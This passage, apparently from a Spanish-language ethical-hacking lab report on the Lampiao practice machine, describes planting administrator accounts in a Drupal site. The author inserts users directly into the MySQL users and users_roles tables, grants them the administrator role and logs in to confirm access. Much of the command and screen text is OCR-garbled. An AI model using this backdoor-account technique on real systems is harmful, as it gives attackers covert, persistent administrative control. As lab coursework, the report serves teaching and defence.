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Una vez cifre las contrasefias, con el comando INSERT INTO users (tabla conde iba a
insertor los usuarios) y los campos de la tabla entre estos, uid, name, pass mail, entre otros,

inserte el primer usuario llamado Kali.

> INSERT INTO users E ail, the sign: r' signature_format E . L: E picture, init, data)
' $5$169pwUk H . 43 R JBIAGIy', 'kal le.com’, "', ' [ MP(), @, B, 1, 'Ame
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Y de igual forma inserte el usuarios red.

> INSERT INTO users (uid, name, p. theme, sig g d, access, login, status, timezone, langu , picture, init,

*$S$TihWoJ98D5EebpyEoG L NAWOHugasUn ellui .com', '*, ', ‘filtered_html’, UNIX_TT MP(), ©, B, 1, A
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Luego comprobé que habian sido creados correctamente los usuarios haciendo un select *

from users; y efectivamente estaban los usuarios creados.

#* from users;

NULL
| NULL
roEnOALpmTOT lampiao@lampiao.com filtered_html

o | | { )
PNK4E9TT/K7Lqz9 a Filtered_html
| I

filtered_html
filtered_html

filtered_html

6 rows in set (¢
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Después hice también un select * from roles; la tabla conde estan todos los roles para los
usuarios y observé que tenia definidos 4 roles, el administrado, el usuario anénimo, el usuario
autenticado y el usuario para escribir.

mysql> select * from role;

"1d

H
==

name weight

anonymous user
authenticated user
writer

+
I

!
I
I
I
I

3

.
I
.

i | administrator
I
I
I
s

o — e —
o — e —

rows in

I

mysql> |
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También hice un select * from users_roles; para ver que rol tenian los usuarios que
estaban antes creados en la base de datos, y observé que uno tenia el rol de administrador y el
otro el rol de usuario escritor.

mysql> select * from users_roles;

uid

1
2

+
|

+
|
|

+

-
|
-
I
|
+
2

rows in set (0.00 sec)

mysql> [j
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Sabiendo eso, a los usuarios que yo habia creado les di el rol de administrador y usuario
autenticado, para hizo hice un INSETR INTO en la tabla users_roles con los valores uid y rid y
al usuario Kali con uid 4 le di el rol de administrador es decir rid 3, asi mismo hice con el

usuarios red con uid 5.



mysql> INSERT INTO users_
Query 0K, 1 row affect

mysql> INSERT INTO u
Query OK, 1 row aff

mysql> |
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Y para darle el rol de usuario autenticado, con el comando INSERT INTO en la tabla
users_roles y los campos uid y rid al usuario Kali con uid 4 le di el rol de usuario autenticado es

decir rid 2 e igualmente hizo lo mismo para el usuario red con uid 5.

mysql> INSERT INTO use
Query OK, 1 row aff

mysql> |
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Luego hice un select * from a la tabla users_roles para comprobar que los usuarios que yo

cree tenian el rol especificando anteriormente.

mysgl> select * from users_roles;
+

uid rid |
+
l
l
|
1
]
1

-
i

-
|
|
|
|
|
1

—

+

+
|
+
|
|
I
|
|
|
~
6

rows in set (0.00 sec)

mysql> [}
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Una vez cree inserte los usuarios en la base de datos, probe si podia tener acceso a la
pagina con los usuarios creados.
Primero probe con el usuario Kali, en el login en la opcion que decia username puse Kali

y en la opcion que decia password puse la contrasefia antes predefinida para Kali.

Home
User logi » b .
il Lampido, herdi ou vildo do Sertdao?
Username * Submitted by tiago on Thu, 04/19/2018 - 18:25
kali
Password *

* Create new account

¢ Request new password

Log in Para uns, um idolo. Para outros, assassino. Lampido, uma das figuras mais misteriosas da histéria do Brasil, passou a

vida sendo temido e idolatrado pelas pessoas que aterrorizava e amparava. Conhega aqui sua trajetéria.

Read more Log in or register to post comments
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Y cuando oprimi el botén de login, pude tener acceso a la pagina de lampiao. Alli dentro

puede observar informacion del usuario Kali.

# Dashboard Content  Structure  Appearance eople  Modules

Configuration Hello kali  Log out

Add content  Find content

Edit shortcuts

0 Notice: date_default_timezone_set(): Timezone ID 'America/Quibdo’ is invalid in drupal_session_initialize{) (line 273 of /var/www/himl/
includes/session.inc).

Home
) kali
View Edit Shortouts
Navigation )
History
» Add content

Member for

1 week 1 day
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Luego, probe el inicio de sesion con el usuario red, en el campo username escribi red y en

el campo passwod escribi la contrasefia previamente asignada para el usuario red.



User logi o T .
e Lampido, heréi ou vildo do Sertdo?

Username * Submitted by tiago on Thu, 04/19/2018 - 18:25
red

Password *

e Create new account

¢ Request new password

Log in Para uns, um idolo. Para outros, assassino. Lampido, uma das figuras mais misteriosas da histéria do Brasil, passou a
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Y cuando oprimi el botoén de login, pude tener acceso a la pagina de lampiao. Alli dentro

puede observar informacién del usuario red.

Hellored  Logout

Edit shortcuts

0 Natice: date_default_timezone_set(): Timezone ID 'America/Quibdo’ is invalid in drupal session initialize() (line 273 of /var/www/himl/
includes/session.inc)

Home
Q red
View Edit Shortcuts
Navigation :
History
» Add content Member for
1 week 1 day
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Y asi se realizo la configuracion completa de los usuarios en la base de datos de lampiao,

obteniendo como resultado el accedo correcto a la pagina web.



4 Posibles Errores

Durante el desarrollo de la practica se presentaron algunos inconvenientes que afectaron los

resultados:
% Permisos Limitados: El usuario inicial (tiago) no tenia acceso a comandos
administrativos como sudo, lo cual dificulto la creacion de usuarios hasta lograr la
escalada de privilegios.

% Errores de escritura en rutas: En algunos comandos se presentaron errores por
confusion de directorios (/etc/sudoers vs /ect/sudoers).

% Dependencia de versiones: Varias herramientas requieren versiones especificas de

librerias o paquetes que no estaban disponibles en la maquina victima.



5 Conclusiones

El ejercicio permitié evidenciar la importancia de la seguridad en sistemas expuestos en
red, demostrando que un atacante con conocimientos basicos puede identificar servicios
vulnerables y explotarlos. A través del uso de herramientas disponibles en Kali Linux fue posible
acceder al sistema de Lampiao, escalar privilegios y crear usuarios con control administrativo.

No obstante, también se observd que ciertos errores en la configuracion de la aplicacion
web y del sistema operativo pueden dificultar o impedir los intentos de acceso, lo que refuerza la
necesidad de una defensa en profundidad que combine actualizaciones, monitoreo y controles de
acceso robustos.

Este informe constituye una practica enriquecedora en el campo del hacking ético, pues
permitid aplicar metodologias ofensivas de manera controlada y, al mismo tiempo, reflexionar
sobre las medidas preventivas que deberian adoptarse para mitigar ataques similares en entornos

reales.
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